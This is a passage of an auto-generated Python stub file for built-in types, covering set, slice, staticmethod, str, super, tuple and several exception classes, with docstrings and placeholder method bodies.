  3420. def copy(self, *args, **kwargs): # real signature unknown
  3421. """ Return a shallow copy of a set. """
  3422. pass
  3423. def difference(self, *args, **kwargs): # real signature unknown
  3424. """
  3425. Return the difference of two or more sets as a new set.
  3426. (i.e. all elements that are in this set but not the others.)
  3427. """
  3428. pass
  3429. def difference_update(self, *args, **kwargs): # real signature unknown
  3430. """ Remove all elements of another set from this set. """
  3431. pass
  3432. def discard(self, *args, **kwargs): # real signature unknown
  3433. """
  3434. Remove an element from a set if it is a member.
  3435. If the element is not a member, do nothing.
  3436. """
  3437. pass
  3438. def intersection(self, *args, **kwargs): # real signature unknown
  3439. """
  3440. Return the intersection of two sets as a new set.
  3441. (i.e. all elements that are in both sets.)
  3442. """
  3443. pass
  3444. def intersection_update(self, *args, **kwargs): # real signature unknown
  3445. """ Update a set with the intersection of itself and another. """
  3446. pass
  3447. def isdisjoint(self, *args, **kwargs): # real signature unknown
  3448. """ Return True if two sets have a null intersection. """
  3449. pass
  3450. def issubset(self, *args, **kwargs): # real signature unknown
  3451. """ Report whether another set contains this set. """
  3452. pass
  3453. def issuperset(self, *args, **kwargs): # real signature unknown
  3454. """ Report whether this set contains another set. """
  3455. pass
  3456. def pop(self, *args, **kwargs): # real signature unknown
  3457. """
  3458. Remove and return an arbitrary set element.
  3459. Raises KeyError if the set is empty.
  3460. """
  3461. pass
  3462. def remove(self, *args, **kwargs): # real signature unknown
  3463. """
  3464. Remove an element from a set; it must be a member.
  3465. If the element is not a member, raise a KeyError.
  3466. """
  3467. pass
  3468. def symmetric_difference(self, *args, **kwargs): # real signature unknown
  3469. """
  3470. Return the symmetric difference of two sets as a new set.
  3471. (i.e. all elements that are in exactly one of the sets.)
  3472. """
  3473. pass
  3474. def symmetric_difference_update(self, *args, **kwargs): # real signature unknown
  3475. """ Update a set with the symmetric difference of itself and another. """
  3476. pass
  3477. def union(self, *args, **kwargs): # real signature unknown
  3478. """
  3479. Return the union of sets as a new set.
  3480. (i.e. all elements that are in either set.)
  3481. """
  3482. pass
  3483. def update(self, *args, **kwargs): # real signature unknown
  3484. """ Update a set with the union of itself and others. """
  3485. pass
  3486. def __and__(self, *args, **kwargs): # real signature unknown
  3487. """ Return self&value. """
  3488. pass
  3489. def __class_getitem__(self, *args, **kwargs): # real signature unknown
  3490. """ See PEP 585 """
  3491. pass
  3492. def __contains__(self, y): # real signature unknown; restored from __doc__
  3493. """ x.__contains__(y) <==> y in x. """
  3494. pass
  3495. def __eq__(self, *args, **kwargs): # real signature unknown
  3496. """ Return self==value. """
  3497. pass
  3498. def __getattribute__(self, *args, **kwargs): # real signature unknown
  3499. """ Return getattr(self, name). """
  3500. pass
  3501. def __ge__(self, *args, **kwargs): # real signature unknown
  3502. """ Return self>=value. """
  3503. pass
  3504. def __gt__(self, *args, **kwargs): # real signature unknown
  3505. """ Return self>value. """
  3506. pass
  3507. def __iand__(self, *args, **kwargs): # real signature unknown
  3508. """ Return self&=value. """
  3509. pass
  3510. def __init__(self, seq=()): # known special case of set.__init__
  3511. """
  3512. set() -> new empty set object
  3513. set(iterable) -> new set object
  3514. Build an unordered collection of unique elements.
  3515. # (copied from class doc)
  3516. """
  3517. pass
  3518. def __ior__(self, *args, **kwargs): # real signature unknown
  3519. """ Return self|=value. """
  3520. pass
  3521. def __isub__(self, *args, **kwargs): # real signature unknown
  3522. """ Return self-=value. """
  3523. pass
  3524. def __iter__(self, *args, **kwargs): # real signature unknown
  3525. """ Implement iter(self). """
  3526. pass
  3527. def __ixor__(self, *args, **kwargs): # real signature unknown
  3528. """ Return self^=value. """
  3529. pass
  3530. def __len__(self, *args, **kwargs): # real signature unknown
  3531. """ Return len(self). """
  3532. pass
  3533. def __le__(self, *args, **kwargs): # real signature unknown
  3534. """ Return self<=value. """
  3535. pass
  3536. def __lt__(self, *args, **kwargs): # real signature unknown
  3537. """ Return self<value. """
  3538. pass
  3539. @staticmethod # known case of __new__
  3540. def __new__(*args, **kwargs): # real signature unknown
  3541. """ Create and return a new object. See help(type) for accurate signature. """
  3542. pass
  3543. def __ne__(self, *args, **kwargs): # real signature unknown
  3544. """ Return self!=value. """
  3545. pass
  3546. def __or__(self, *args, **kwargs): # real signature unknown
  3547. """ Return self|value. """
  3548. pass
  3549. def __rand__(self, *args, **kwargs): # real signature unknown
  3550. """ Return value&self. """
  3551. pass
  3552. def __reduce__(self, *args, **kwargs): # real signature unknown
  3553. """ Return state information for pickling. """
  3554. pass
  3555. def __repr__(self, *args, **kwargs): # real signature unknown
  3556. """ Return repr(self). """
  3557. pass
  3558. def __ror__(self, *args, **kwargs): # real signature unknown
  3559. """ Return value|self. """
  3560. pass
  3561. def __rsub__(self, *args, **kwargs): # real signature unknown
  3562. """ Return value-self. """
  3563. pass
  3564. def __rxor__(self, *args, **kwargs): # real signature unknown
  3565. """ Return value^self. """
  3566. pass
  3567. def __sizeof__(self): # real signature unknown; restored from __doc__
  3568. """ S.__sizeof__() -> size of S in memory, in bytes """
  3569. pass
  3570. def __sub__(self, *args, **kwargs): # real signature unknown
  3571. """ Return self-value. """
  3572. pass
  3573. def __xor__(self, *args, **kwargs): # real signature unknown
  3574. """ Return self^value. """
  3575. pass
  3576. __hash__ = None
  3577. class slice(object):
  3578. """
  3579. slice(stop)
  3580. slice(start, stop[, step])
  3581. Create a slice object. This is used for extended slicing (e.g. a[0:10:2]).
  3582. """
  3583. def indices(self, len): # real signature unknown; restored from __doc__
  3584. """
  3585. S.indices(len) -> (start, stop, stride)
  3586. Assuming a sequence of length len, calculate the start and stop
  3587. indices, and the stride length of the extended slice described by
  3588. S. Out of bounds indices are clipped in a manner consistent with the
  3589. handling of normal slices.
  3590. """
  3591. pass
  3592. def __eq__(self, *args, **kwargs): # real signature unknown
  3593. """ Return self==value. """
  3594. pass
  3595. def __getattribute__(self, *args, **kwargs): # real signature unknown
  3596. """ Return getattr(self, name). """
  3597. pass
  3598. def __ge__(self, *args, **kwargs): # real signature unknown
  3599. """ Return self>=value. """
  3600. pass
  3601. def __gt__(self, *args, **kwargs): # real signature unknown
  3602. """ Return self>value. """
  3603. pass
  3604. def __init__(self, stop): # real signature unknown; restored from __doc__
  3605. pass
  3606. def __le__(self, *args, **kwargs): # real signature unknown
  3607. """ Return self<=value. """
  3608. pass
  3609. def __lt__(self, *args, **kwargs): # real signature unknown
  3610. """ Return self<value. """
  3611. pass
  3612. @staticmethod # known case of __new__
  3613. def __new__(*args, **kwargs): # real signature unknown
  3614. """ Create and return a new object. See help(type) for accurate signature. """
  3615. pass
  3616. def __ne__(self, *args, **kwargs): # real signature unknown
  3617. """ Return self!=value. """
  3618. pass
  3619. def __reduce__(self, *args, **kwargs): # real signature unknown
  3620. """ Return state information for pickling. """
  3621. pass
  3622. def __repr__(self, *args, **kwargs): # real signature unknown
  3623. """ Return repr(self). """
  3624. pass
  3625. start = property(lambda self: 0)
  3626. """:type: int"""
  3627. step = property(lambda self: 0)
  3628. """:type: int"""
  3629. stop = property(lambda self: 0)
  3630. """:type: int"""
  3631. __hash__ = None
  3632. class staticmethod(object):
  3633. """
  3634. staticmethod(function) -> method
  3635. Convert a function to be a static method.
  3636. A static method does not receive an implicit first argument.
  3637. To declare a static method, use this idiom:
  3638. class C:
  3639. @staticmethod
  3640. def f(arg1, arg2, ...):
  3641. ...
  3642. It can be called either on the class (e.g. C.f()) or on an instance
  3643. (e.g. C().f()). Both the class and the instance are ignored, and
  3644. neither is passed implicitly as the first argument to the method.
  3645. Static methods in Python are similar to those found in Java or C++.
  3646. For a more advanced concept, see the classmethod builtin.
  3647. """
  3648. def __get__(self, *args, **kwargs): # real signature unknown
  3649. """ Return an attribute of instance, which is of type owner. """
  3650. pass
  3651. def __init__(self, function): # real signature unknown; restored from __doc__
  3652. pass
  3653. @staticmethod # known case of __new__
  3654. def __new__(*args, **kwargs): # real signature unknown
  3655. """ Create and return a new object. See help(type) for accurate signature. """
  3656. pass
  3657. __func__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3658. __isabstractmethod__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3659. __dict__ = None # (!) real value is "mappingproxy({'__get__': <slot wrapper '__get__' of 'staticmethod' objects>, '__init__': <slot wrapper '__init__' of 'staticmethod' objects>, '__new__': <built-in method __new__ of type object at 0x00007FFE2F3E1910>, '__func__': <member '__func__' of 'staticmethod' objects>, '__isabstractmethod__': <attribute '__isabstractmethod__' of 'staticmethod' objects>, '__dict__': <attribute '__dict__' of 'staticmethod' objects>, '__doc__': 'staticmethod(function) -> method\\n\\nConvert a function to be a static method.\\n\\nA static method does not receive an implicit first argument.\\nTo declare a static method, use this idiom:\\n\\n class C:\\n @staticmethod\\n def f(arg1, arg2, ...):\\n ...\\n\\nIt can be called either on the class (e.g. C.f()) or on an instance\\n(e.g. C().f()). Both the class and the instance are ignored, and\\nneither is passed implicitly as the first argument to the method.\\n\\nStatic methods in Python are similar to those found in Java or C++.\\nFor a more advanced concept, see the classmethod builtin.'})"
  3660. class StopAsyncIteration(Exception):
  3661. """ Signal the end from iterator.__anext__(). """
  3662. def __init__(self, *args, **kwargs): # real signature unknown
  3663. pass
  3664. @staticmethod # known case of __new__
  3665. def __new__(*args, **kwargs): # real signature unknown
  3666. """ Create and return a new object. See help(type) for accurate signature. """
  3667. pass
  3668. class StopIteration(Exception):
  3669. """ Signal the end from iterator.__next__(). """
  3670. def __init__(self, *args, **kwargs): # real signature unknown
  3671. pass
  3672. value = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3673. """generator return value"""
  3674. class str(object):
  3675. """
  3676. str(object='') -> str
  3677. str(bytes_or_buffer[, encoding[, errors]]) -> str
  3678. Create a new string object from the given object. If encoding or
  3679. errors is specified, then the object must expose a data buffer
  3680. that will be decoded using the given encoding and error handler.
  3681. Otherwise, returns the result of object.__str__() (if defined)
  3682. or repr(object).
  3683. encoding defaults to sys.getdefaultencoding().
  3684. errors defaults to 'strict'.
  3685. """
  3686. def capitalize(self, *args, **kwargs): # real signature unknown
  3687. """
  3688. Return a capitalized version of the string.
  3689. More specifically, make the first character have upper case and the rest lower
  3690. case.
  3691. """
  3692. pass
  3693. def casefold(self, *args, **kwargs): # real signature unknown
  3694. """ Return a version of the string suitable for caseless comparisons. """
  3695. pass
  3696. def center(self, *args, **kwargs): # real signature unknown
  3697. """
  3698. Return a centered string of length width.
  3699. Padding is done using the specified fill character (default is a space).
  3700. """
  3701. pass
  3702. def count(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  3703. """
  3704. S.count(sub[, start[, end]]) -> int
  3705. Return the number of non-overlapping occurrences of substring sub in
  3706. string S[start:end]. Optional arguments start and end are
  3707. interpreted as in slice notation.
  3708. """
  3709. return 0
  3710. def encode(self, *args, **kwargs): # real signature unknown
  3711. """
  3712. Encode the string using the codec registered for encoding.
  3713. encoding
  3714. The encoding in which to encode the string.
  3715. errors
  3716. The error handling scheme to use for encoding errors.
  3717. The default is 'strict' meaning that encoding errors raise a
  3718. UnicodeEncodeError. Other possible values are 'ignore', 'replace' and
  3719. 'xmlcharrefreplace' as well as any other name registered with
  3720. codecs.register_error that can handle UnicodeEncodeErrors.
  3721. """
  3722. pass
  3723. def endswith(self, suffix, start=None, end=None): # real signature unknown; restored from __doc__
  3724. """
  3725. S.endswith(suffix[, start[, end]]) -> bool
  3726. Return True if S ends with the specified suffix, False otherwise.
  3727. With optional start, test S beginning at that position.
  3728. With optional end, stop comparing S at that position.
  3729. suffix can also be a tuple of strings to try.
  3730. """
  3731. return False
  3732. def expandtabs(self, *args, **kwargs): # real signature unknown
  3733. """
  3734. Return a copy where all tab characters are expanded using spaces.
  3735. If tabsize is not given, a tab size of 8 characters is assumed.
  3736. """
  3737. pass
  3738. def find(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  3739. """
  3740. S.find(sub[, start[, end]]) -> int
  3741. Return the lowest index in S where substring sub is found,
  3742. such that sub is contained within S[start:end]. Optional
  3743. arguments start and end are interpreted as in slice notation.
  3744. Return -1 on failure.
  3745. """
  3746. return 0
  3747. def format(self, *args, **kwargs): # known special case of str.format
  3748. """
  3749. S.format(*args, **kwargs) -> str
  3750. Return a formatted version of S, using substitutions from args and kwargs.
  3751. The substitutions are identified by braces ('{' and '}').
  3752. """
  3753. pass
  3754. def format_map(self, mapping): # real signature unknown; restored from __doc__
  3755. """
  3756. S.format_map(mapping) -> str
  3757. Return a formatted version of S, using substitutions from mapping.
  3758. The substitutions are identified by braces ('{' and '}').
  3759. """
  3760. return ""
  3761. def index(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  3762. """
  3763. S.index(sub[, start[, end]]) -> int
  3764. Return the lowest index in S where substring sub is found,
  3765. such that sub is contained within S[start:end]. Optional
  3766. arguments start and end are interpreted as in slice notation.
  3767. Raises ValueError when the substring is not found.
  3768. """
  3769. return 0
  3770. def isalnum(self, *args, **kwargs): # real signature unknown
  3771. """
  3772. Return True if the string is an alpha-numeric string, False otherwise.
  3773. A string is alpha-numeric if all characters in the string are alpha-numeric and
  3774. there is at least one character in the string.
  3775. """
  3776. pass
  3777. def isalpha(self, *args, **kwargs): # real signature unknown
  3778. """
  3779. Return True if the string is an alphabetic string, False otherwise.
  3780. A string is alphabetic if all characters in the string are alphabetic and there
  3781. is at least one character in the string.
  3782. """
  3783. pass
  3784. def isascii(self, *args, **kwargs): # real signature unknown
  3785. """
  3786. Return True if all characters in the string are ASCII, False otherwise.
  3787. ASCII characters have code points in the range U+0000-U+007F.
  3788. Empty string is ASCII too.
  3789. """
  3790. pass
  3791. def isdecimal(self, *args, **kwargs): # real signature unknown
  3792. """
  3793. Return True if the string is a decimal string, False otherwise.
  3794. A string is a decimal string if all characters in the string are decimal and
  3795. there is at least one character in the string.
  3796. """
  3797. pass
  3798. def isdigit(self, *args, **kwargs): # real signature unknown
  3799. """
  3800. Return True if the string is a digit string, False otherwise.
  3801. A string is a digit string if all characters in the string are digits and there
  3802. is at least one character in the string.
  3803. """
  3804. pass
  3805. def isidentifier(self, *args, **kwargs): # real signature unknown
  3806. """
  3807. Return True if the string is a valid Python identifier, False otherwise.
  3808. Call keyword.iskeyword(s) to test whether string s is a reserved identifier,
  3809. such as "def" or "class".
  3810. """
  3811. pass
  3812. def islower(self, *args, **kwargs): # real signature unknown
  3813. """
  3814. Return True if the string is a lowercase string, False otherwise.
  3815. A string is lowercase if all cased characters in the string are lowercase and
  3816. there is at least one cased character in the string.
  3817. """
  3818. pass
  3819. def isnumeric(self, *args, **kwargs): # real signature unknown
  3820. """
  3821. Return True if the string is a numeric string, False otherwise.
  3822. A string is numeric if all characters in the string are numeric and there is at
  3823. least one character in the string.
  3824. """
  3825. pass
  3826. def isprintable(self, *args, **kwargs): # real signature unknown
  3827. """
  3828. Return True if the string is printable, False otherwise.
  3829. A string is printable if all of its characters are considered printable in
  3830. repr() or if it is empty.
  3831. """
  3832. pass
  3833. def isspace(self, *args, **kwargs): # real signature unknown
  3834. """
  3835. Return True if the string is a whitespace string, False otherwise.
  3836. A string is whitespace if all characters in the string are whitespace and there
  3837. is at least one character in the string.
  3838. """
  3839. pass
  3840. def istitle(self, *args, **kwargs): # real signature unknown
  3841. """
  3842. Return True if the string is a title-cased string, False otherwise.
  3843. In a title-cased string, upper- and title-case characters may only
  3844. follow uncased characters and lowercase characters only cased ones.
  3845. """
  3846. pass
  3847. def isupper(self, *args, **kwargs): # real signature unknown
  3848. """
  3849. Return True if the string is an uppercase string, False otherwise.
  3850. A string is uppercase if all cased characters in the string are uppercase and
  3851. there is at least one cased character in the string.
  3852. """
  3853. pass
  3854. def join(self, ab=None, pq=None, rs=None): # real signature unknown; restored from __doc__
  3855. """
  3856. Concatenate any number of strings.
  3857. The string whose method is called is inserted in between each given string.
  3858. The result is returned as a new string.
  3859. Example: '.'.join(['ab', 'pq', 'rs']) -> 'ab.pq.rs'
  3860. """
  3861. pass
  3862. def ljust(self, *args, **kwargs): # real signature unknown
  3863. """
  3864. Return a left-justified string of length width.
  3865. Padding is done using the specified fill character (default is a space).
  3866. """
  3867. pass
  3868. def lower(self, *args, **kwargs): # real signature unknown
  3869. """ Return a copy of the string converted to lowercase. """
  3870. pass
  3871. def lstrip(self, *args, **kwargs): # real signature unknown
  3872. """
  3873. Return a copy of the string with leading whitespace removed.
  3874. If chars is given and not None, remove characters in chars instead.
  3875. """
  3876. pass
  3877. def maketrans(self, *args, **kwargs): # real signature unknown
  3878. """
  3879. Return a translation table usable for str.translate().
  3880. If there is only one argument, it must be a dictionary mapping Unicode
  3881. ordinals (integers) or characters to Unicode ordinals, strings or None.
  3882. Character keys will be then converted to ordinals.
  3883. If there are two arguments, they must be strings of equal length, and
  3884. in the resulting dictionary, each character in x will be mapped to the
  3885. character at the same position in y. If there is a third argument, it
  3886. must be a string, whose characters will be mapped to None in the result.
  3887. """
  3888. pass
  3889. def partition(self, *args, **kwargs): # real signature unknown
  3890. """
  3891. Partition the string into three parts using the given separator.
  3892. This will search for the separator in the string. If the separator is found,
  3893. returns a 3-tuple containing the part before the separator, the separator
  3894. itself, and the part after it.
  3895. If the separator is not found, returns a 3-tuple containing the original string
  3896. and two empty strings.
  3897. """
  3898. pass
  3899. def removeprefix(self, *args, **kwargs): # real signature unknown
  3900. """
  3901. Return a str with the given prefix string removed if present.
  3902. If the string starts with the prefix string, return string[len(prefix):].
  3903. Otherwise, return a copy of the original string.
  3904. """
  3905. pass
  3906. def removesuffix(self, *args, **kwargs): # real signature unknown
  3907. """
  3908. Return a str with the given suffix string removed if present.
  3909. If the string ends with the suffix string and that suffix is not empty,
  3910. return string[:-len(suffix)]. Otherwise, return a copy of the original
  3911. string.
  3912. """
  3913. pass
  3914. def replace(self, *args, **kwargs): # real signature unknown
  3915. """
  3916. Return a copy with all occurrences of substring old replaced by new.
  3917. count
  3918. Maximum number of occurrences to replace.
  3919. -1 (the default value) means replace all occurrences.
  3920. If the optional argument count is given, only the first count occurrences are
  3921. replaced.
  3922. """
  3923. pass
  3924. def rfind(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  3925. """
  3926. S.rfind(sub[, start[, end]]) -> int
  3927. Return the highest index in S where substring sub is found,
  3928. such that sub is contained within S[start:end]. Optional
  3929. arguments start and end are interpreted as in slice notation.
  3930. Return -1 on failure.
  3931. """
  3932. return 0
  3933. def rindex(self, sub, start=None, end=None): # real signature unknown; restored from __doc__
  3934. """
  3935. S.rindex(sub[, start[, end]]) -> int
  3936. Return the highest index in S where substring sub is found,
  3937. such that sub is contained within S[start:end]. Optional
  3938. arguments start and end are interpreted as in slice notation.
  3939. Raises ValueError when the substring is not found.
  3940. """
  3941. return 0
  3942. def rjust(self, *args, **kwargs): # real signature unknown
  3943. """
  3944. Return a right-justified string of length width.
  3945. Padding is done using the specified fill character (default is a space).
  3946. """
  3947. pass
  3948. def rpartition(self, *args, **kwargs): # real signature unknown
  3949. """
  3950. Partition the string into three parts using the given separator.
  3951. This will search for the separator in the string, starting at the end. If
  3952. the separator is found, returns a 3-tuple containing the part before the
  3953. separator, the separator itself, and the part after it.
  3954. If the separator is not found, returns a 3-tuple containing two empty strings
  3955. and the original string.
  3956. """
  3957. pass
  3958. def rsplit(self, *args, **kwargs): # real signature unknown
  3959. """
  3960. Return a list of the words in the string, using sep as the delimiter string.
  3961. sep
  3962. The delimiter according which to split the string.
  3963. None (the default value) means split according to any whitespace,
  3964. and discard empty strings from the result.
  3965. maxsplit
  3966. Maximum number of splits to do.
  3967. -1 (the default value) means no limit.
  3968. Splits are done starting at the end of the string and working to the front.
  3969. """
  3970. pass
  3971. def rstrip(self, *args, **kwargs): # real signature unknown
  3972. """
  3973. Return a copy of the string with trailing whitespace removed.
  3974. If chars is given and not None, remove characters in chars instead.
  3975. """
  3976. pass
  3977. def split(self, *args, **kwargs): # real signature unknown
  3978. """
  3979. Return a list of the words in the string, using sep as the delimiter string.
  3980. sep
  3981. The delimiter according which to split the string.
  3982. None (the default value) means split according to any whitespace,
  3983. and discard empty strings from the result.
  3984. maxsplit
  3985. Maximum number of splits to do.
  3986. -1 (the default value) means no limit.
  3987. """
  3988. pass
  3989. def splitlines(self, *args, **kwargs): # real signature unknown
  3990. """
  3991. Return a list of the lines in the string, breaking at line boundaries.
  3992. Line breaks are not included in the resulting list unless keepends is given and
  3993. true.
  3994. """
  3995. pass
  3996. def startswith(self, prefix, start=None, end=None): # real signature unknown; restored from __doc__
  3997. """
  3998. S.startswith(prefix[, start[, end]]) -> bool
  3999. Return True if S starts with the specified prefix, False otherwise.
  4000. With optional start, test S beginning at that position.
  4001. With optional end, stop comparing S at that position.
  4002. prefix can also be a tuple of strings to try.
  4003. """
  4004. return False
  4005. def strip(self, *args, **kwargs): # real signature unknown
  4006. """
  4007. Return a copy of the string with leading and trailing whitespace removed.
  4008. If chars is given and not None, remove characters in chars instead.
  4009. """
  4010. pass
  4011. def swapcase(self, *args, **kwargs): # real signature unknown
  4012. """ Convert uppercase characters to lowercase and lowercase characters to uppercase. """
  4013. pass
  4014. def title(self, *args, **kwargs): # real signature unknown
  4015. """
  4016. Return a version of the string where each word is titlecased.
  4017. More specifically, words start with uppercased characters and all remaining
  4018. cased characters have lower case.
  4019. """
  4020. pass
  4021. def translate(self, *args, **kwargs): # real signature unknown
  4022. """
  4023. Replace each character in the string using the given translation table.
  4024. table
  4025. Translation table, which must be a mapping of Unicode ordinals to
  4026. Unicode ordinals, strings, or None.
  4027. The table must implement lookup/indexing via __getitem__, for instance a
  4028. dictionary or list. If this operation raises LookupError, the character is
  4029. left untouched. Characters mapped to None are deleted.
  4030. """
  4031. pass
  4032. def upper(self, *args, **kwargs): # real signature unknown
  4033. """ Return a copy of the string converted to uppercase. """
  4034. pass
  4035. def zfill(self, *args, **kwargs): # real signature unknown
  4036. """
  4037. Pad a numeric string with zeros on the left, to fill a field of the given width.
  4038. The string is never truncated.
  4039. """
  4040. pass
  4041. def __add__(self, *args, **kwargs): # real signature unknown
  4042. """ Return self+value. """
  4043. pass
  4044. def __contains__(self, *args, **kwargs): # real signature unknown
  4045. """ Return key in self. """
  4046. pass
  4047. def __eq__(self, *args, **kwargs): # real signature unknown
  4048. """ Return self==value. """
  4049. pass
  4050. def __format__(self, *args, **kwargs): # real signature unknown
  4051. """ Return a formatted version of the string as described by format_spec. """
  4052. pass
  4053. def __getattribute__(self, *args, **kwargs): # real signature unknown
  4054. """ Return getattr(self, name). """
  4055. pass
  4056. def __getitem__(self, *args, **kwargs): # real signature unknown
  4057. """ Return self[key]. """
  4058. pass
  4059. def __getnewargs__(self, *args, **kwargs): # real signature unknown
  4060. pass
  4061. def __ge__(self, *args, **kwargs): # real signature unknown
  4062. """ Return self>=value. """
  4063. pass
  4064. def __gt__(self, *args, **kwargs): # real signature unknown
  4065. """ Return self>value. """
  4066. pass
  4067. def __hash__(self, *args, **kwargs): # real signature unknown
  4068. """ Return hash(self). """
  4069. pass
  4070. def __init__(self, value='', encoding=None, errors='strict'): # known special case of str.__init__
  4071. """
  4072. str(object='') -> str
  4073. str(bytes_or_buffer[, encoding[, errors]]) -> str
  4074. Create a new string object from the given object. If encoding or
  4075. errors is specified, then the object must expose a data buffer
  4076. that will be decoded using the given encoding and error handler.
  4077. Otherwise, returns the result of object.__str__() (if defined)
  4078. or repr(object).
  4079. encoding defaults to sys.getdefaultencoding().
  4080. errors defaults to 'strict'.
  4081. # (copied from class doc)
  4082. """
  4083. pass
  4084. def __iter__(self, *args, **kwargs): # real signature unknown
  4085. """ Implement iter(self). """
  4086. pass
  4087. def __len__(self, *args, **kwargs): # real signature unknown
  4088. """ Return len(self). """
  4089. pass
  4090. def __le__(self, *args, **kwargs): # real signature unknown
  4091. """ Return self<=value. """
  4092. pass
  4093. def __lt__(self, *args, **kwargs): # real signature unknown
  4094. """ Return self<value. """
  4095. pass
  4096. def __mod__(self, *args, **kwargs): # real signature unknown
  4097. """ Return self%value. """
  4098. pass
  4099. def __mul__(self, *args, **kwargs): # real signature unknown
  4100. """ Return self*value. """
  4101. pass
  4102. @staticmethod # known case of __new__
  4103. def __new__(*args, **kwargs): # real signature unknown
  4104. """ Create and return a new object. See help(type) for accurate signature. """
  4105. pass
  4106. def __ne__(self, *args, **kwargs): # real signature unknown
  4107. """ Return self!=value. """
  4108. pass
  4109. def __repr__(self, *args, **kwargs): # real signature unknown
  4110. """ Return repr(self). """
  4111. pass
  4112. def __rmod__(self, *args, **kwargs): # real signature unknown
  4113. """ Return value%self. """
  4114. pass
  4115. def __rmul__(self, *args, **kwargs): # real signature unknown
  4116. """ Return value*self. """
  4117. pass
  4118. def __sizeof__(self, *args, **kwargs): # real signature unknown
  4119. """ Return the size of the string in memory, in bytes. """
  4120. pass
  4121. def __str__(self, *args, **kwargs): # real signature unknown
  4122. """ Return str(self). """
  4123. pass
  4124. class super(object):
  4125. """
  4126. super() -> same as super(__class__, <first argument>)
  4127. super(type) -> unbound super object
  4128. super(type, obj) -> bound super object; requires isinstance(obj, type)
  4129. super(type, type2) -> bound super object; requires issubclass(type2, type)
  4130. Typical use to call a cooperative superclass method:
  4131. class C(B):
  4132. def meth(self, arg):
  4133. super().meth(arg)
  4134. This works for class methods too:
  4135. class C(B):
  4136. @classmethod
  4137. def cmeth(cls, arg):
  4138. super().cmeth(arg)
  4139. """
  4140. def __getattribute__(self, *args, **kwargs): # real signature unknown
  4141. """ Return getattr(self, name). """
  4142. pass
  4143. def __get__(self, *args, **kwargs): # real signature unknown
  4144. """ Return an attribute of instance, which is of type owner. """
  4145. pass
  4146. def __init__(self, type1=None, type2=None): # known special case of super.__init__
  4147. """
  4148. super() -> same as super(__class__, <first argument>)
  4149. super(type) -> unbound super object
  4150. super(type, obj) -> bound super object; requires isinstance(obj, type)
  4151. super(type, type2) -> bound super object; requires issubclass(type2, type)
  4152. Typical use to call a cooperative superclass method:
  4153. class C(B):
  4154. def meth(self, arg):
  4155. super().meth(arg)
  4156. This works for class methods too:
  4157. class C(B):
  4158. @classmethod
  4159. def cmeth(cls, arg):
  4160. super().cmeth(arg)
  4161. # (copied from class doc)
  4162. """
  4163. pass
  4164. @staticmethod # known case of __new__
  4165. def __new__(*args, **kwargs): # real signature unknown
  4166. """ Create and return a new object. See help(type) for accurate signature. """
  4167. pass
  4168. def __repr__(self, *args, **kwargs): # real signature unknown
  4169. """ Return repr(self). """
  4170. pass
  4171. __self_class__ = property(lambda self: type(object))
  4172. """the type of the instance invoking super(); may be None
  4173. :type: type
  4174. """
  4175. __self__ = property(lambda self: type(object))
  4176. """the instance invoking super(); may be None
  4177. :type: type
  4178. """
  4179. __thisclass__ = property(lambda self: type(object))
  4180. """the class invoking super()
  4181. :type: type
  4182. """
  4183. class SyntaxWarning(Warning):
  4184. """ Base class for warnings about dubious syntax. """
  4185. def __init__(self, *args, **kwargs): # real signature unknown
  4186. pass
  4187. @staticmethod # known case of __new__
  4188. def __new__(*args, **kwargs): # real signature unknown
  4189. """ Create and return a new object. See help(type) for accurate signature. """
  4190. pass
  4191. class SystemError(Exception):
  4192. """
  4193. Internal error in the Python interpreter.
  4194. Please report this to the Python maintainer, along with the traceback,
  4195. the Python version, and the hardware/OS platform and version.
  4196. """
  4197. def __init__(self, *args, **kwargs): # real signature unknown
  4198. pass
  4199. @staticmethod # known case of __new__
  4200. def __new__(*args, **kwargs): # real signature unknown
  4201. """ Create and return a new object. See help(type) for accurate signature. """
  4202. pass
  4203. class SystemExit(BaseException):
  4204. """ Request to exit from the interpreter. """
  4205. def __init__(self, *args, **kwargs): # real signature unknown
  4206. pass
  4207. code = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4208. """exception code"""
  4209. class TabError(IndentationError):
  4210. """ Improper mixture of spaces and tabs. """
  4211. def __init__(self, *args, **kwargs): # real signature unknown
  4212. pass
  4213. class TimeoutError(OSError):
  4214. """ Timeout expired. """
  4215. def __init__(self, *args, **kwargs): # real signature unknown
  4216. pass
  4217. class tuple(object):
  4218. """
  4219. Built-in immutable sequence.
  4220. If no argument is given, the constructor returns an empty tuple.
  4221. If iterable is specified the tuple is initialized from iterable's items.
  4222. If the argument is a tuple, the return value is the same object.
  4223. """
  4224. def count(self, *args, **kwargs): # real signature unknown
  4225. """ Return number of occurrences of value. """
  4226. pass
  4227. def index(self, *args, **kwargs): # real signature unknown
  4228. """
  4229. Return first index of value.
  4230. Raises ValueError if the value is not present.
  4231. """
  4232. pass
  4233. def __add__(self, *args, **kwargs): # real signature unknown
  4234. """ Return self+value. """
  4235. pass
  4236. def __class_getitem__(self, *args, **kwargs): # real signature unknown
  4237. """ See PEP 585 """
  4238. pass
  4239. def __contains__(self, *args, **kwargs): # real signature unknown
  4240. """ Return key in self. """
  4241. pass
  4242. def __eq__(self, *args, **kwargs): # real signature unknown
  4243. """ Return self==value. """
  4244. pass
  4245. def __getattribute__(self, *args, **kwargs): # real signature unknown
  4246. """ Return getattr(self, name). """
  4247. pass
  4248. def __getitem__(self, *args, **kwargs): # real signature unknown
  4249. """ Return self[key]. """
  4250. pass
  4251. def __getnewargs__(self, *args, **kwargs): # real signature unknown
  4252. pass
  4253. def __ge__(self, *args, **kwargs): # real signature unknown
  4254. """ Return self>=value. """
  4255. pass
  4256. def __gt__(self, *args, **kwargs): # real signature unknown
  4257. """ Return self>value. """
  4258. pass
  4259. def __hash__(self, *args, **kwargs): # real signature unknown
  4260. """ Return hash(self). """
  4261. pass
  4262. def __init__(self, seq=()): # known special case of tuple.__init__
  4263. """
  4264. Built-in immutable sequence.
  4265. If no argument is given, the constructor returns an empty tuple.
  4266. If iterable is specified the tuple is initialized from iterable's items.
  4267. If the argument is a tuple, the return value is the same object.
  4268. # (copied from class doc)
  4269. """
  4270. pass
